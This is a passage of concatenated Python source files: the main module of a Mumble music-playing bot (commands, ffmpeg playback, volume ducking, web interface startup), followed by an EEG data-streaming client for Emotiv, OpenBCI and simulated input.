self.bandwidth = var.config.getint("bot", "bandwidth") self.mumble = pymumble.Mumble(host, user=self.username, port=port, password=password, tokens=tokens, stereo=self.stereo, debug=var.config.getboolean('debug', 'mumble_connection'), certfile=certificate) self.mumble.callbacks.set_callback(pymumble.constants.PYMUMBLE_CLBK_TEXTMESSAGERECEIVED, self.message_received) self.mumble.set_codec_profile("audio") self.mumble.start() # start the mumble thread self.mumble.is_ready() # wait for the connection if self.mumble.connected >= pymumble.constants.PYMUMBLE_CONN_STATE_FAILED: exit() self.set_comment() self.set_avatar() self.mumble.users.myself.unmute() # by sure the user is not muted self.join_channel() self.mumble.set_bandwidth(self.bandwidth) self._user_in_channel = self.get_user_count_in_channel() # ====== Volume ====== self.volume_helper = util.VolumeHelper() _volume = var.config.getfloat('bot', 'volume') if var.db.has_option('bot', 'volume'): _volume = var.db.getfloat('bot', 'volume') self.volume_helper.set_volume(_volume) self.is_ducking = False self.on_ducking = False self.ducking_release = time.time() self.last_volume_cycle_time = time.time() self._ducking_volume = 0 _ducking_volume = var.config.getfloat("bot", "ducking_volume") _ducking_volume = var.db.getfloat("bot", "ducking_volume", fallback=_ducking_volume) self.volume_helper.set_ducking_volume(_ducking_volume) self.ducking_threshold = var.config.getfloat("bot", "ducking_threshold") self.ducking_threshold = var.db.getfloat("bot", "ducking_threshold", fallback=self.ducking_threshold) if not var.db.has_option("bot", "ducking") and var.config.getboolean("bot", "ducking") \ or var.config.getboolean("bot", "ducking"): self.is_ducking = True self.mumble.callbacks.set_callback(pymumble.constants.PYMUMBLE_CLBK_SOUNDRECEIVED, self.ducking_sound_received) self.mumble.set_receive_sound(True) assert var.config.get("bot", "when_nobody_in_channel") in ['pause', 'pause_resume', 'stop', 'nothing', ''], \ "Unknown action for when_nobody_in_channel" if var.config.get("bot", "when_nobody_in_channel") in ['pause', 'pause_resume', 'stop']: user_change_callback = \ lambda user, action: threading.Thread(target=self.users_changed, args=(user, action), daemon=True).start() self.mumble.callbacks.set_callback(pymumble.constants.PYMUMBLE_CLBK_USERREMOVED, user_change_callback) self.mumble.callbacks.set_callback(pymumble.constants.PYMUMBLE_CLBK_USERUPDATED, user_change_callback) # Debug use self._loop_status = 'Idle' self._display_rms = False self._max_rms = 0 self.redirect_ffmpeg_log = var.config.getboolean('debug', 'redirect_ffmpeg_log') if var.config.getboolean("bot", "auto_check_update"): def check_update(): nonlocal self new_version, changelog = util.check_update(self.get_version()) if new_version: self.send_channel_msg(tr('new_version_found', new_version=new_version, changelog=changelog)) th = threading.Thread(target=check_update, name="UpdateThread") th.daemon = True th.start() last_startup_version = var.db.get("bot", "version", fallback=None) if not last_startup_version or version.parse(last_startup_version) < version.parse(self.version): var.db.set("bot", "version", self.version) if var.config.getboolean("bot", "auto_check_update"): changelog = util.fetch_changelog() self.send_channel_msg(tr("update_successful", version=self.version, changelog=changelog)) # Set the CTRL+C shortcut def ctrl_caught(self, signal, frame): self.log.info( "\nSIGINT caught, quitting, {} more to kill".format(2 - self.nb_exit)) if var.config.getboolean('bot', 'save_playlist') \ and var.config.get("bot", "save_music_library"): self.log.info("bot: save playlist into database") var.playlist.save() if self.nb_exit > 1: self.log.info("Forced Quit") sys.exit(0) self.nb_exit += 1 self.exit = True def get_version(self): if self.version != "git": return self.version else: return util.get_snapshot_version() def register_command(self, cmd, handle, no_partial_match=False, access_outside_channel=False, admin=False): cmds = cmd.split(",") for command in cmds: command = command.strip() if command: self.cmd_handle[command] = {'handle': handle, 'partial_match': not no_partial_match, 'access_outside_channel': access_outside_channel, 'admin': admin} self.log.debug("bot: command added: " + command) def set_comment(self): self.mumble.users.myself.comment(var.config.get('bot', 'comment')) def set_avatar(self): avatar_path = var.config.get('bot', 'avatar') if avatar_path: with open(avatar_path, 'rb') as avatar_file: self.mumble.users.myself.texture(avatar_file.read()) else: self.mumble.users.myself.texture(b'') def join_channel(self): if self.channel: if '/' in self.channel: self.mumble.channels.find_by_tree(self.channel.split('/')).move_in() else: self.mumble.channels.find_by_name(self.channel).move_in() # ======================= # Message # ======================= # All text send to the chat is analysed by this function def message_received(self, text): raw_message = text.message.strip() message = re.sub(r'<.*?>', '', raw_message) if text.actor == 0: # Some server will send a welcome message to the bot once connected. # It doesn't have a valid "actor". Simply ignore it here. return user = self.mumble.users[text.actor]['name'] if var.config.getboolean('commands', 'split_username_at_space'): # in can you use https://github.com/Natenom/mumblemoderator-module-collection/tree/master/os-suffixes , # you want to split the username user = user.split()[0] command_symbols = var.config.get('commands', 'command_symbol') match = re.match(fr'^[{re.escape(command_symbols)}](?P<command>\S+)(?:\s(?P<argument>.*))?', message) if match: command = match.group("command").lower() argument = match.group("argument") or "" if not command: return self.log.info(f'bot: received command "{command}" with arguments "{argument}" from {user}') # Anti stupid guy function if not self.is_admin(user) and not var.config.getboolean('bot', 'allow_private_message') and text.session: self.mumble.users[text.actor].send_text_message( tr('pm_not_allowed')) return for i in var.db.items("user_ban"): if user.lower() == i[0]: self.mumble.users[text.actor].send_text_message( tr('user_ban')) return if not self.is_admin(user) and argument: input_url = util.get_url_from_input(argument) if input_url and var.db.has_option('url_ban', input_url): self.mumble.users[text.actor].send_text_message( tr('url_ban')) return command_exc = "" try: if command in self.cmd_handle: command_exc = command else: # try partial match cmds = self.cmd_handle.keys() matches = [] for cmd in cmds: if cmd.startswith(command) and self.cmd_handle[cmd]['partial_match']: matches.append(cmd) if len(matches) == 1: self.log.info("bot: {:s} matches {:s}".format(command, matches[0])) command_exc = matches[0] elif len(matches) > 1: self.mumble.users[text.actor].send_text_message( tr('which_command', commands="<br>".join(matches))) return else: self.mumble.users[text.actor].send_text_message( tr('bad_command', command=command)) return if self.cmd_handle[command_exc]['admin'] and not self.is_admin(user): self.mumble.users[text.actor].send_text_message(tr('not_admin')) return if not self.cmd_handle[command_exc]['access_outside_channel'] \ and not self.is_admin(user) \ and not var.config.getboolean('bot', 'allow_other_channel_message') \ and self.mumble.users[text.actor]['channel_id'] != self.mumble.users.myself['channel_id']: self.mumble.users[text.actor].send_text_message( tr('not_in_my_channel')) return self.cmd_handle[command_exc]['handle'](self, user, text, command_exc, argument) except: error_traceback = traceback.format_exc() error = error_traceback.rstrip().split("\n")[-1] self.log.error(f"bot: command {command_exc} failed with error: {error_traceback}\n") self.send_msg(tr('error_executing_command', command=command_exc, error=error), text) def send_msg(self, msg, text): msg = msg.encode('utf-8', 'ignore').decode('utf-8') # text if the object message, contain information if direct message or channel message self.mumble.users[text.actor].send_text_message(msg) def send_channel_msg(self, msg): msg = msg.encode('utf-8', 'ignore').decode('utf-8') own_channel = self.mumble.channels[self.mumble.users.myself['channel_id']] own_channel.send_text_message(msg) @staticmethod def is_admin(user): list_admin = var.config.get('bot', 'admin').rstrip().split(';') if user in list_admin: return True else: return False # ======================= # Other Mumble Events # ======================= def get_user_count_in_channel(self): own_channel = self.mumble.channels[self.mumble.users.myself['channel_id']] return len(own_channel.get_users()) def users_changed(self, user, message): # only check if there is one more user currently in the channel # else when the music is paused and somebody joins, music would start playing again user_count = self.get_user_count_in_channel() if user_count > self._user_in_channel and user_count == 2: if var.config.get("bot", "when_nobody_in_channel") == "pause_resume": self.resume() elif var.config.get("bot", "when_nobody_in_channel") == "pause" and self.is_pause: self.send_channel_msg(tr("auto_paused")) elif user_count == 1 and len(var.playlist) != 0: # if the bot is the only user left in the channel and the playlist isn't empty if var.config.get("bot", "when_nobody_in_channel") == "stop": self.log.info('bot: No user in my channel. Stop music now.') self.clear() else: self.log.info('bot: No user in my channel. Pause music now.') self.pause() self._user_in_channel = user_count # ======================= # Launch and Download # ======================= def launch_music(self, music_wrapper, start_from=0): assert music_wrapper.is_ready() uri = music_wrapper.uri() self.log.info("bot: play music " + music_wrapper.format_debug_string()) if var.config.getboolean('bot', 'announce_current_music'): self.send_channel_msg(music_wrapper.format_current_playing()) if var.config.getboolean('debug', 'ffmpeg'): ffmpeg_debug = "debug" else: ffmpeg_debug = "warning" channels = 2 if self.stereo else 1 self.pcm_buffer_size = 960 * channels command = ("ffmpeg", '-v', ffmpeg_debug, '-nostdin', '-i', uri, '-ss', f"{start_from:f}", '-ac', str(channels), '-f', 's16le', '-ar', '48000', '-') self.log.debug("bot: execute ffmpeg command: " + " ".join(command)) # The ffmpeg process is a thread # prepare pipe for catching stderr of ffmpeg if self.redirect_ffmpeg_log: pipe_rd, pipe_wd = util.pipe_no_wait() # Let the pipe work in non-blocking mode self.thread_stderr = os.fdopen(pipe_rd) else: pipe_rd, pipe_wd = None, None self.thread = sp.Popen(command, stdout=sp.PIPE, stderr=pipe_wd, bufsize=self.pcm_buffer_size) def async_download_next(self): # Function start if the next music isn't ready # Do nothing in case the next music is already downloaded self.log.debug("bot: Async download next asked ") while var.playlist.next_item(): # usually, all validation will be done when adding to the list. # however, for performance consideration, youtube playlist won't be validate when added. # the validation has to be done here. next = var.playlist.next_item() try: if not next.is_ready(): self.async_download(next) break except ValidationFailedError as e: self.send_channel_msg(e.msg) var.playlist.remove_by_id(next.id) var.cache.free_and_delete(next.id) def async_download(self, item): th = threading.Thread( target=self._download, name="Prepare-" + item.id[:7], args=(item,)) self.log.info(f"bot: start preparing item in thread: {item.format_debug_string()}") th.daemon = True th.start() return th def start_download(self, item): if not item.is_ready(): self.log.info("bot: current music isn't ready, start downloading.") self.async_download(item) self.send_channel_msg( tr('download_in_progress', item=item.format_title())) def _download(self, item): ver = item.version try: item.validate() if item.is_ready(): return True except ValidationFailedError as e: self.send_channel_msg(e.msg) var.playlist.remove_by_id(item.id) var.cache.free_and_delete(item.id) return False try: item.prepare() if item.version > ver: var.playlist.version += 1 return True except PreparationFailedError as e: self.send_channel_msg(e.msg) return False # ======================= # Loop # ======================= # Main loop of the Bot def loop(self): while not self.exit and self.mumble.is_alive(): while self.thread and self.mumble.sound_output.get_buffer_size() > 0.5 and not self.exit: # If the buffer isn't empty, I cannot send new music part, so I wait self._loop_status = f'Wait for buffer {self.mumble.sound_output.get_buffer_size():.3f}' time.sleep(0.01) raw_music = None if self.thread: # I get raw from ffmpeg thread # move playhead forward self._loop_status = 'Reading raw' if self.song_start_at == -1: self.song_start_at = time.time() - self.playhead self.playhead = time.time() - self.song_start_at raw_music = self.thread.stdout.read(self.pcm_buffer_size) self.read_pcm_size += len(raw_music) if self.redirect_ffmpeg_log: try: self.last_ffmpeg_err = self.thread_stderr.readline() if self.last_ffmpeg_err: self.log.debug("ffmpeg: " + self.last_ffmpeg_err.strip("\n")) except: pass if raw_music: # Adjust the volume and send it to mumble self.volume_cycle() if not self.on_interrupting and len(raw_music) == self.pcm_buffer_size: self.mumble.sound_output.add_sound( audioop.mul(raw_music, 2, self.volume_helper.real_volume)) elif self.read_pcm_size == 0: self.mumble.sound_output.add_sound( audioop.mul(self._fadeout(raw_music, self.stereo, fadein=True), 2, self.volume_helper.real_volume)) elif self.on_interrupting or len(raw_music) < self.pcm_buffer_size: self.mumble.sound_output.add_sound( audioop.mul(self._fadeout(raw_music, self.stereo, fadein=False), 2, self.volume_helper.real_volume)) self.thread.kill() self.thread = None time.sleep(0.1) self.on_interrupting = False else: time.sleep(0.1) else: time.sleep(0.1) if not self.is_pause and not raw_music: self.thread = None # bot is not paused, but ffmpeg thread has gone. # indicate that last song has finished, or the bot just resumed from pause, or something is wrong. if self.read_pcm_size < self.pcm_buffer_size \ and var.playlist.current_index != -1 \ and self.last_ffmpeg_err: current = var.playlist.current_item() self.log.error("bot: cannot play music %s", current.format_debug_string()) self.log.error("bot: with ffmpeg error: %s", self.last_ffmpeg_err) self.last_ffmpeg_err = "" self.send_channel_msg(tr('unable_play', item=current.format_title())) var.playlist.remove_by_id(current.id) var.cache.free_and_delete(current.id) # move to the next song. if not self.wait_for_ready: # if wait_for_ready flag is not true, move to the next song. if var.playlist.next(): current = var.playlist.current_item() self.log.debug(f"bot: next into the song: {current.format_debug_string()}") try: self.start_download(current) self.wait_for_ready = True self.song_start_at = -1 self.playhead = 0 except ValidationFailedError as e: self.send_channel_msg(e.msg) var.playlist.remove_by_id(current.id) var.cache.free_and_delete(current.id) else: self._loop_status = 'Empty queue' else: # if wait_for_ready flag is true, means the pointer is already # pointing to target song. start playing current = var.playlist.current_item() if current: if current.is_ready(): self.wait_for_ready = False self.read_pcm_size = 0 self.launch_music(current, self.playhead) self.last_volume_cycle_time = time.time() self.async_download_next() elif current.is_failed(): var.playlist.remove_by_id(current.id) self.wait_for_ready = False else: self._loop_status = 'Wait for the next item to be ready' else: self.wait_for_ready = False while self.mumble.sound_output.get_buffer_size() > 0 and self.mumble.is_alive(): # Empty the buffer before exit time.sleep(0.01) time.sleep(0.5) if self.exit: self._loop_status = "exited" if var.config.getboolean('bot', 'save_playlist') \ and var.config.get("bot", "save_music_library"): self.log.info("bot: save playlist into database") var.playlist.save() def volume_cycle(self): delta = time.time() - self.last_volume_cycle_time if self.on_ducking and self.ducking_release < time.time(): self.on_ducking = False self._max_rms = 0 if delta > 0.001: if self.is_ducking and self.on_ducking: self.volume_helper.real_volume = \ (self.volume_helper.real_volume - self.volume_helper.ducking_volume_set) * math.exp(- delta / 0.2) \ + self.volume_helper.ducking_volume_set else: self.volume_helper.real_volume = self.volume_helper.volume_set - \ (self.volume_helper.volume_set - self.volume_helper.real_volume) * math.exp(- delta / 0.5) self.last_volume_cycle_time = time.time() def ducking_sound_received(self, user, sound): rms = audioop.rms(sound.pcm, 2) self._max_rms = max(rms, self._max_rms) if self._display_rms: if rms < self.ducking_threshold: print('%6d/%6d ' % (rms, self._max_rms) + '-' * int(rms / 200), end='\r') else: print('%6d/%6d ' % (rms, self._max_rms) + '-' * int(self.ducking_threshold / 200) + '+' * int((rms - self.ducking_threshold) / 200), end='\r') if rms > self.ducking_threshold: if self.on_ducking is False: self.log.debug("bot: ducking triggered") self.on_ducking = True self.ducking_release = time.time() + 1 # ducking release after 1s def _fadeout(self, _pcm_data, stereo=False, fadein=False): pcm_data = bytearray(_pcm_data) if stereo: if not fadein: mask = [math.exp(-x / 60) for x in range(0, int(len(pcm_data) / 4))] else: mask = [math.exp(-x / 60) for x in reversed(range(0, int(len(pcm_data) / 4)))] for i in range(int(len(pcm_data) / 4)): pcm_data[4 * i:4 * i + 2] = struct.pack("<h", round(struct.unpack("<h", pcm_data[4 * i:4 * i + 2])[0] * mask[i])) pcm_data[4 * i + 2:4 * i + 4] = struct.pack("<h", round( struct.unpack("<h", pcm_data[4 * i + 2:4 * i + 4])[0] * mask[i])) else: if not fadein: mask = [math.exp(-x / 60) for x in range(0, int(len(pcm_data) / 2))] else: mask = [math.exp(-x / 60) for x in reversed(range(0, int(len(pcm_data) / 2)))] for i in range(int(len(pcm_data) / 2)): pcm_data[2 * i:2 * i + 2] = struct.pack("<h", round(struct.unpack("<h", pcm_data[2 * i:2 * i + 2])[0] * mask[i])) return bytes(pcm_data) + bytes(len(pcm_data)) # ======================= # Play Control # ======================= def play(self, index=-1, start_at=0): if not self.is_pause: self.interrupt() if index != -1: var.playlist.point_to(index) current = var.playlist.current_item() self.start_download(current) self.is_pause = False self.wait_for_ready = True self.song_start_at = -1 self.playhead = start_at def clear(self): # Kill the ffmpeg thread and empty the playlist self.interrupt() var.playlist.clear() self.wait_for_ready = False self.log.info("bot: music stopped. playlist trashed.") def stop(self): self.interrupt() self.is_pause = True if len(var.playlist) > 0: self.wait_for_ready = True else: self.wait_for_ready = False self.log.info("bot: music stopped.") def interrupt(self): # Kill the ffmpeg thread if self.thread: self.on_interrupting = True time.sleep(0.1) self.song_start_at = -1 self.read_pcm_size = 0 def pause(self): # Kill the ffmpeg thread self.interrupt() self.is_pause = True self.song_start_at = -1 if len(var.playlist) > 0: self.pause_at_id = var.playlist.current_item().id self.log.info(f"bot: music paused at {self.playhead:.2f} seconds.") def resume(self): self.is_pause = False if var.playlist.current_index == -1: var.playlist.next() self.playhead = 0 return music_wrapper = var.playlist.current_item() if not music_wrapper or not music_wrapper.id == self.pause_at_id or not music_wrapper.is_ready(): self.playhead = 0 return self.wait_for_ready = True self.pause_at_id = "" def start_web_interface(addr, port): global formatter import interface # setup logger werkzeug_logger = logging.getLogger('werkzeug') logfile = util.solve_filepath(var.config.get('webinterface', 'web_logfile')) if logfile: handler = logging.handlers.RotatingFileHandler(logfile, mode='a', maxBytes=10240, backupCount=3) # Rotate after 10KB, leave 3 old logs else: handler = logging.StreamHandler() werkzeug_logger.addHandler(handler) interface.init_proxy() interface.web.env = 'development' interface.web.secret_key = var.config.get('webinterface', 'flask_secret') interface.web.run(port=port, host=addr) if __name__ == '__main__': supported_languages = util.get_supported_language() parser = argparse.ArgumentParser( description='Bot for playing music on Mumble') # General arguments parser.add_argument("--config", dest='config', type=str, default='configuration.ini', help='Load configuration from this file. Default: configuration.ini') parser.add_argument("--db", dest='db', type=str, default=None, help='Settings database file') parser.add_argument("--music-db", dest='music_db', type=str, default=None, help='Music library database file') parser.add_argument("--lang", dest='lang', type=str, default=None, help='Preferred language. Support ' + ", ".join(supported_languages)) parser.add_argument("-q", "--quiet", dest="quiet", action="store_true", help="Only Error logs") parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Show debug log") # Mumble arguments parser.add_argument("-s", "--server", dest="host", type=str, help="Hostname of the Mumble server") parser.add_argument("-u", "--user", dest="user", type=str, help="Username for the bot") parser.add_argument("-P", "--password", dest="password", type=str, help="Server password, if required") parser.add_argument("-T", "--tokens", dest="tokens", type=str, help="Server tokens to enter a channel, if required (multiple entries separated with comma ','") parser.add_argument("-p", "--port", dest="port", type=int, help="Port for the Mumble server") parser.add_argument("-c", "--channel", dest="channel", type=str, help="Default channel for the bot") parser.add_argument("-C", "--cert", dest="certificate", type=str, default=None, help="Certificate file") parser.add_argument("-b", "--bandwidth", dest="bandwidth", type=int, help="Bandwidth used by the bot") args = parser.parse_args() # ====================== # Load Config # ====================== config = configparser.ConfigParser(interpolation=None, allow_no_value=True) default_config = configparser.ConfigParser(interpolation=None, allow_no_value=True) var.config = config if len(default_config.read( util.solve_filepath('configuration.default.ini'), encoding='utf-8')) == 0: logging.error("Could not read default configuration file 'configuration.default.ini', please check" "your installation.") sys.exit() if len(config.read( [util.solve_filepath('configuration.default.ini'), util.solve_filepath(args.config)], encoding='utf-8')) == 0: logging.error(f'Could not read configuration from file "{args.config}"') sys.exit() extra_configs = util.check_extra_config(config, default_config) if extra_configs: extra_str = ", ".join([f"'[{k}] {v}'" for (k, v) in extra_configs]) logging.error(f'Unexpected config items {extra_str} defined in your config file. ' f'This is likely caused by a recent change in the names of config items, ' f'or the removal of obsolete config items. Please refer to the changelog.') sys.exit() # ====================== # Setup Logger # ====================== bot_logger = logging.getLogger("bot") bot_logger.setLevel(logging.INFO) if args.verbose: bot_logger.setLevel(logging.DEBUG) bot_logger.debug("Starting in DEBUG loglevel") elif args.quiet: bot_logger.setLevel(logging.ERROR) bot_logger.error("Starting in ERROR loglevel") logfile = util.solve_filepath(var.config.get('bot', 'logfile').strip()) handler = None if logfile: print(f"Redirecting stdout and stderr to log file: {logfile}") handler = logging.handlers.RotatingFileHandler(logfile, mode='a', maxBytes=10240, backupCount=3) # Rotate after 10KB, leave 3 old logs if var.config.getboolean("bot", "redirect_stderr"): sys.stderr = util.LoggerIOWrapper(bot_logger, logging.INFO, fallback_io_buffer=sys.stderr.buffer) else: handler = logging.StreamHandler() util.set_logging_formatter(handler, bot_logger.level) bot_logger.addHandler(handler) logging.getLogger("root").addHandler(handler) var.bot_logger = bot_logger # ====================== # Load Database # ====================== if args.user: username = args.user else: username = var.config.get("bot", "username") sanitized_username = "".join([x if x.isalnum() else "_" for x in username]) var.settings_db_path = args.db if args.db is not None else util.solve_filepath( config.get("bot", "database_path") or f"settings-{sanitized_username}.db") var.music_db_path = args.music_db if args.music_db is not None else util.solve_filepath( config.get("bot", "music_database_path")) var.db = SettingsDatabase(var.settings_db_path) if var.config.get("bot", "save_music_library"): var.music_db = MusicDatabase(var.music_db_path) else: var.music_db = MusicDatabase(":memory:") DatabaseMigration(var.db, var.music_db).migrate() var.music_folder = util.solve_filepath(var.config.get('bot', 'music_folder')) if not var.music_folder.endswith(os.sep): # The file searching logic assumes that the music folder ends in a / var.music_folder = var.music_folder + os.sep var.tmp_folder = util.solve_filepath(var.config.get('bot', 'tmp_folder')) # ====================== # Translation # ====================== lang = "" if args.lang: lang = args.lang else: lang = var.config.get('bot', 'language') if lang not in supported_languages: raise KeyError(f"Unsupported language {lang}") var.language = lang constants.load_lang(lang) # ====================== # Prepare Cache # ====================== var.cache = MusicCache(var.music_db) if var.config.getboolean("bot", "refresh_cache_on_startup"): var.cache.build_dir_cache() # ====================== # Load playback mode # ====================== playback_mode = None if var.db.has_option("playlist", "playback_mode"): playback_mode = var.db.get('playlist', 'playback_mode') else: playback_mode = var.config.get('bot', 'playback_mode') if playback_mode in ["one-shot", "repeat", "random", "autoplay"]: var.playlist = media.playlist.get_playlist(playback_mode) else: raise KeyError(f"Unknown playback mode '{playback_mode}'") # ====================== # Create bot instance # ====================== var.bot = MumbleBot(args) command.register_all_commands(var.bot) # load playlist if var.config.getboolean('bot', 'save_playlist'): var.bot_logger.info("bot: load playlist from previous session") var.playlist.load() # ============================ # Start the web interface # ============================ if var.config.getboolean("webinterface", "enabled"): wi_addr = var.config.get("webinterface", "listening_addr") wi_port = var.config.getint("webinterface", "listening_port") tt = threading.Thread( target=start_web_interface, name="WebThread", args=(wi_addr, wi_port)) tt.daemon = True bot_logger.info('Starting web interface on {}:{}'.format(wi_addr, wi_port)) tt.start() # Start the main loop. var.bot.loop()
client.py
from MusEEG import eegData from MusEEG import TrainingDataMacro from numpy import array import threading import time import matplotlib.pyplot as plt from collections import deque from scipy import signal import numpy as np import socket import queue class client: def __init__(self): self.BUFFER_SIZE = eegData.chunkSize self.host = "127.0.0.1" self.port = 5555 self.windowSize = eegData.chunkSize * 4 self.refreshScale = 64 ## a higher number means a smoother plot in the GUI self.line = deque([[0 for channels in range(0, eegData.nchannels)] for packets in range(0, self.windowSize)]) # Named fields according to Warren doc ! self.FIELDS = {"COUNTER": 0, "DATA-TYPE": 1, "AF3": 4, "F7": 5, "F3": 2, "FC5": 3, "T7": 6, "P7": 7, "O1": 8, "O2": 9, "P8": 10, "T8": 11, "FC6": 14, "F4": 15, "F8": 12, "AF4": 13, "DATALINE_1": 16, "DATALINE_2": 17} def getCounter(self, packet): counter = packet["COUNTER"] return counter def data2dic(self, data): field_list = data.split(b',') if len(field_list) > 17: return {field: float(field_list[index]-4100) for field, index in self.FIELDS.items()} else: return -1 def dict2list(self, data): list = [data["AF3"], data["F7"], data["F3"], data["FC5"], data["T7"], data["P7"], data["O1"], data["O2"], data["P8"], data["T8"], data["FC6"], data["F4"], data["F8"], data["AF4"]] return list def setup(self, device): self.device = device if self.device == 'sim': self.streamFunc = self.simulateStream elif self.device == 'emotiv': self.streamFunc = self.emotivStream elif self.device == 'openBCI': self.streamFunc = self.openBCIStream self.done = False if self.device == 'emotiv': try: self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.s.connect((self.host, self.port)) self.s.send(b"\r\n") # To read the header msgs about cykit etc... self.s.recv(168, socket.MSG_WAITALL) # Local buffer to store parts of the messages self.buffer = b'' # If when when split by \r, \r was the last character of the message, we know that we have to remove \n from # the begining of the next message self.remove_newline = False except ConnectionRefusedError: print('uh oh. looks like CyKIT isn\'t setup right. ' 'try again by restarting MusEEG') elif self.device == 'openBCI': from pyOpenBCI import OpenBCICyton self.board = OpenBCICyton(port='/dev/tty.usbserial-DM0258BS', daisy=True) def emotivStream(self): self.q = queue.LifoQueue() self.psdq = queue.LifoQueue() self.plotq = queue.LifoQueue() def workerjob(): try: while True: # -*- coding: utf8 -*- # # Cykit Example TCP - Client # author: Icannos # modified for MusEEG by: hugo flores garcia data = self.s.recv(self.BUFFER_SIZE) # If we have to remove \n at the begining if self.remove_newline: data = data[1:] self.remove_newline = False # Splitting the chunk into the end of the previous message and the begining of the next message msg_parts = data.split(b'\r') # If the second part ends with nothing when splitted we will have to remove \n next time if msg_parts[-1] == b'': self.remove_newline = True # Therefore the buffer for the next step is empty self.n_buffer = b'' else: # otherwise we store the begining of the next message as the next buffer self.n_buffer = msg_parts[-1][1:] # We interprete a whole message (begining from the previous step + the end fields = self.data2dic(self.buffer + msg_parts[0]) # We setup the buffer for next step self.buffer = self.n_buffer if not isinstance(fields, int): self.plotq.put(fields, block=False) self.psdq.put(fields,block=False) self.q.put(fields, block=False) if self.done: del self.q, self.plotq, self.psdq break except Exception: self.q.join() self.s.close() worker = threading.Thread(target=workerjob, args=()) worker.setDaemon(True) worker.start() def openBCIStream(self): self.q = queue.LifoQueue() self.psdq = queue.LifoQueue() self.plotq = queue.LifoQueue() def callback(sample): dataRAW = sample.channels_data uVolts_per_count = (4500000) / 24 / (2 ** 23 - 1) formattedData = dataRAW * uVolts_per_count self.q.put(formattedData, block=False) self.psdq.put(formattedData, block=False) self.plotq.put(formattedData, block=False) self.board.start_stream(callback) def simulateStream(self, address, streamSpeed=1): eeg = TrainingDataMacro() eeg.importCSV(address) self.q = queue.Queue() self.plotq = queue.Queue() self.psdq = queue.Queue() self.streamSpeed = streamSpeed def worker(): for i in range(0,len(eeg.matrix)): packet = {eeg.eegChannels[j]: eeg.matrix[i][j] for j in range(len(eeg.emotivChannels))} packet["COUNTER"] = i self.q.put(item=packet) self.plotq.put(item=packet) self.psdq.put(item=packet) time.sleep(1/eegData.sampleRate/streamSpeed) if self.done: del self.q, self.plotq, self.psdq break simulationWorker = threading.Thread(target=worker) simulationWorker.setDaemon(True) simulationWorker.start() def stream(self): self.streamFunc() def getBuffer(self, bufferSize=eegData.chunkSize/1.25*4, highpass=True): buffer = [] while len(buffer) < bufferSize: try: packet = self.psdq.get() # print(self.device) if self.device == 'emotiv' or self.device == 'sim': # print('trying to append to buffer') buffer.append((self.dict2list(packet))) # print('successful to append to buffer') elif self.device == 'openBCI': buffer.append(packet) except TypeError: # print('found a type error') pass buffer = np.array(buffer).transpose() if highpass: # highpass at 4Hz filter = signal.butter(10, 4, 'hp', fs=eegData.sampleRate, output='sos') buffer = signal.sosfilt(filter, buffer) return buffer def getChunk(self, chunkSize=eegData.chunkSize): chunk = [] self.chunkq = queue.Queue() while len(chunk) < chunkSize: try: data = self.q.get() if self.device == 'emotiv' or self.device == 'sim': formattedData = self.dict2list(data) elif self.device == 'openBCI': formattedData = data chunk.append(formattedData) except TypeError: pass self.chunkq.put(array(chunk)) chunk = np.array(chunk) return chunk def getChunkWithBackTrack(self, chunkSize=eegData.chunkSize): bufferchunk = [] chunk = [] self.chunkq = queue.Queue() while len(chunk) < eegData.chunkSize: try: ## get packets until u find one that passes the threshold data = self.q.get() if self.device == 'emotiv' or self.device == 'sim': formattedData = self.dict2list(data) elif self.device == 'openBCI': formattedData = data bufferchunk.append(formattedData) ## backtrack a couple samples to get all the transient info, then finish getting the chunk if eegData.checkThreshold(data): chunk.extend(bufferchunk[(-1-eegData.backTrack):-1]) while len(chunk) < chunkSize: data = self.q.get() formattedData = self.dict2list(data) chunk.append(formattedData) except TypeError: pass self.chunkq.put(array(chunk)) chunk = np.array(chunk) return chunk def getPlotData(self, offset=400): while not self.plotq.empty(): appendedChunk = [] while len(appendedChunk) < self.windowSize / self.refreshScale: self.line.popleft() packet = self.plotq.get() self.line.append(self.dict2list(packet)) appendedChunk.append(packet) tAxis = np.arange(0, self.windowSize) # create time axis w same length as the data matrix tAxis = tAxis / eegData.sampleRate # adjust time axis to 256 sample rate plotBuffer = array(self.line) yAxis = plotBuffer + offset * 13 # add offset to display all channels for i in range(0, len(plotBuffer[0, :])): yAxis[:, i] -= offset * i return tAxis, yAxis """ DEPRECATED only works with emotiv """ def plotClientStream(self, streamfigure=None, plotChunks=False, chunkfigure=None, offset=400): if streamfigure is None: streamfigure = plt.Figure() while not self.plotq.empty(): appendedChunk = [] while len(appendedChunk) < self.windowSize/8: self.line.popleft() packet = self.plotq.get() self.line.append(self.dict2list(packet)) appendedChunk.append(packet) # define time axis tAxis = np.arange(0, self.windowSize) # create time axis w same length as the data matrix tAxis = tAxis / eegData.sampleRate # adjust time axis to 256 sample rate plotBuffer = array(self.line) yAxis = plotBuffer + offset * 13 # add offset to display all channels for i in range(0, len(plotBuffer[0, :])): yAxis[:, i] -= offset * i if plotChunks: if chunkfigure is None: chunkfigure = plt.Figure() if not self.chunkq.empty(): eeg = eegData() eeg.chunk = self.chunkq.get() chunkfigure = eeg.plotRawEEG(chunkfigure) streamfigure.canvas.flush_events() ax = streamfigure.add_subplot(111) ax.clear() ax.set_ylim(-300, offset * 20) ax.legend(eegData.eegChannels) ax.set_xlabel('time') ax.plot(tAxis, yAxis) streamfigure.canvas.draw() plt.pause(0.001) return streamfigure, chunkfigure
jobmanager.py
